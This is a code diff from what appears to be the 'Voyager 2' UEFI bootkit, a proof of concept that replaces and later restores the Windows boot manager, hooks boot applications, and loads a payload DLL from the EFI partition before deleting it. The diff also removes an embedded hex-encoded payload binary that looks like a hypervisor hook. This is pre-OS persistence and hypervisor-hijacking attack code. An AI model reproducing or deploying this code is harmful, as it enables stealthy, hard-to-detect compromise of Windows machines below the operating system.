EFI_STATUS EFIAPI RestoreBootMgfw(VOID); EFI_STATUS EFIAPI RestoreBootMgfw(VOID);
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID);
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle); EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle);
EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs); EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs);

@ -1,5 +1,9 @@
#include "PayLoad.h" #include "PayLoad.h"
// this can also just be set at compile time if you want too, but for PoC im going
// to read the payload from disk and delete it after...
VOID* PayLoad = NULL;
UINT32 PayLoadSize(VOID) UINT32 PayLoadSize(VOID)
{ {
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad; EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
@ -26,220 +30,91 @@ VOID* PayLoadEntry(VOID* ModuleBase)
return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint; return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint;
} }
unsigned char PayLoad[2560] = EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr)
{
EFI_STATUS Result = EFI_SUCCESS;
UINTN HandleCount = NULL;
EFI_HANDLE* Handles = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE PayLoadFileHandle;
EFI_DEVICE_PATH* PayLoadDevicePath = NULL;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
EFI_FILE_PROTOCOL* PayLoadFile = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return Result;
}
for (UINT32 Idx = 0u; Idx < HandleCount; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return Result;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return Result;
}
if (!EFI_ERROR((Result = VolumeHandle->Open(VolumeHandle, &PayLoadFileHandle, PAYLOAD_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY))))
{
VolumeHandle->Close(VolumeHandle);
PayLoadDevicePath = FileDevicePath(Handles[Idx], PAYLOAD_PATH);
if (EFI_ERROR((Result = EfiOpenFileByDevicePath(&PayLoadDevicePath, &PayLoadFile, EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, NULL))))
{
Print(L"failed to open payload file... reason -> %r\n", Result);
return Result;
}
EFI_FILE_INFO* FileInfoPtr = NULL;
UINTN FileInfoSize = NULL;
if (EFI_ERROR((Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, NULL))))
{
if (Result == EFI_BUFFER_TOO_SMALL)
{
gBS->AllocatePool(EfiBootServicesData, FileInfoSize, &FileInfoPtr);
if (EFI_ERROR(Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, FileInfoPtr)))
{
Print(L"get backup file information failed... reason -> %r\n", Result);
return Result;
}
}
else
{
Print(L"Failed to get file information... reason -> %r\n", Result);
return Result;
}
}
VOID* PayLoadBuffer = NULL;
UINTN PayLoadSize = FileInfoPtr->FileSize;
gBS->AllocatePool(EfiBootServicesData, FileInfoPtr->FileSize, &PayLoadBuffer);
if (EFI_ERROR((Result = PayLoadFile->Read(PayLoadFile, &PayLoadSize, PayLoadBuffer))))
{ {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, Print(L"Failed to read payload file into buffer... reason -> %r\n", Result);
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, return Result;
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, if (EFI_ERROR((Result = PayLoadFile->Delete(PayLoadFile))))
0xB8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, {
0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, Print(L"unable to delete payload file... reason -> %r\n", Result);
0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, return Result;
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, }
0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xBF, 0x31, 0xDD, *PayLoadBufferPtr = PayLoadBuffer;
0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, gBS->FreePool(FileInfoPtr);
0xDC, 0xAF, 0x5A, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5F, 0x8F, return EFI_SUCCESS;
0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5D, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, }
0x52, 0x69, 0x63, 0x68, 0x6B, 0xDE, 0x5F, 0x8E, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x04, 0x00,
0x56, 0xD5, 0x76, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, Print(L"unable to find payload on disk...\n");
0xF0, 0x00, 0x22, 0x20, 0x0B, 0x02, 0x0E, 0x1B, 0x00, 0x02, 0x00, 0x00, return EFI_ABORTED;
0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, }
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x50, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x39, 0xEC, 0x00, 0x00,
0x01, 0x00, 0x60, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
0x69, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61,
0x74, 0x61, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48,
0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0xC8, 0x2E, 0x65, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,
0x65, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x00, 0x00, 0x00,
0x00, 0x4C, 0x8B, 0x80, 0xF0, 0x82, 0x00, 0x00, 0x49, 0x8B, 0x80, 0x90,
0x00, 0x00, 0x00, 0x4C, 0x8B, 0x80, 0x40, 0x0C, 0x00, 0x00, 0x49, 0x83,
0x78, 0x70, 0x72, 0x75, 0x33, 0x48, 0xB8, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF,
0xBE, 0xAD, 0xDE, 0x48, 0x39, 0x42, 0x08, 0x75, 0x23, 0x49, 0x8B, 0x80,
0xC8, 0x00, 0x00, 0x00, 0x49, 0x89, 0x80, 0x78, 0x05, 0x00, 0x00, 0x49,
0xC7, 0x80, 0xF8, 0x05, 0x00, 0x00, 0xEE, 0xFF, 0xC0, 0x00, 0x65, 0x48,
0x8B, 0x04, 0x25, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0x8D, 0x05, 0xA1,
0xFF, 0xFF, 0xFF, 0x48, 0x2B, 0x05, 0x9A, 0x1F, 0x00, 0x00, 0x48, 0xFF,
0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x56, 0xD5, 0x76, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x38, 0x20, 0x00, 0x00,
0x38, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xD5, 0x76, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00,
0x94, 0x20, 0x00, 0x00, 0x94, 0x06, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53,
0xE1, 0x7F, 0x6D, 0x89, 0xA5, 0x8B, 0x78, 0x48, 0x90, 0x94, 0x47, 0x89,
0xD5, 0x64, 0xB3, 0x11, 0x03, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x32, 0x40, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x28, 0x40, 0x00, 0x00, 0x2C, 0x40, 0x00, 0x00, 0x30, 0x40, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x3E, 0x40, 0x00, 0x00, 0x00, 0x00, 0x50, 0x61,
0x79, 0x4C, 0x6F, 0x61, 0x64, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x3F, 0x76,
0x6F, 0x79, 0x61, 0x67, 0x65, 0x72, 0x5F, 0x63, 0x6F, 0x6E, 0x74, 0x65,
0x78, 0x74, 0x40, 0x73, 0x76, 0x6D, 0x40, 0x40, 0x33, 0x55, 0x5F, 0x76,
0x6F, 0x79, 0x61, 0x67, 0x65, 0x72, 0x5F, 0x74, 0x40, 0x31, 0x40, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};

@ -1,6 +1,7 @@
#pragma once #pragma once
#include "Utils.h" #include "Utils.h"
extern unsigned char PayLoad[2560]; #include <Library/ShellLib.h>
extern VOID* PayLoad;
#pragma pack(push, 1) #pragma pack(push, 1)
typedef struct _VOYAGER_T typedef struct _VOYAGER_T
@ -13,5 +14,9 @@ typedef struct _VOYAGER_T
} VOYAGER_T, * PVOYAGER_T; } VOYAGER_T, * PVOYAGER_T;
#pragma pack(pop) #pragma pack(pop)
#define WINDOWS_BOOTMGFW_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi"
#define PAYLOAD_PATH L"\\efi\\microsoft\\boot\\payload.dll"
UINT32 PayLoadSize(VOID); UINT32 PayLoadSize(VOID);
EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr);
VOID* PayLoadEntry(VOID* ModuleBase); VOID* PayLoadEntry(VOID* ModuleBase);

@ -4,36 +4,59 @@
CHAR8* gEfiCallerBaseName = "Voyager 2"; CHAR8* gEfiCallerBaseName = "Voyager 2";
const UINT32 _gUefiDriverRevision = 0x200; const UINT32 _gUefiDriverRevision = 0x200;
EFI_STATUS EFIAPI UefiUnload( EFI_STATUS EFIAPI UefiUnload(EFI_HANDLE ImageHandle)
IN EFI_HANDLE ImageHandle {
) return EFI_SUCCESS;
{ return EFI_SUCCESS; } }
EFI_STATUS EFIAPI UefiMain EFI_STATUS UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE* SystemTable
)
{ {
EFI_STATUS Result; EFI_STATUS Result;
EFI_DEVICE_PATH_PROTOCOL* BootMgfwPath; EFI_HANDLE BootMgfwHandle;
gST->ConOut->ClearScreen(gST->ConOut); gST->ConOut->ClearScreen(gST->ConOut);
gST->ConOut->OutputString(gST->ConOut, AsciiArt); gST->ConOut->OutputString(gST->ConOut, AsciiArt);
Print(L"\n"); Print(L"\n");
// since we replaced bootmgfw on disk, we are going to need to restore the image back
// this is simply just moving bootmgfw.efi.backup to bootmgfw.efi...
if (EFI_ERROR((Result = RestoreBootMgfw()))) if (EFI_ERROR((Result = RestoreBootMgfw())))
{ {
Print(L"unable to restore bootmgfw... reason -> %r\n", Result); Print(L"unable to restore bootmgfw... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result;
}
// the payload is sitting on disk... we are going to load it into memory...
if (EFI_ERROR((Result = LoadPayLoadFromDisk(&PayLoad))))
{
Print(L"failed to read payload from disk... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
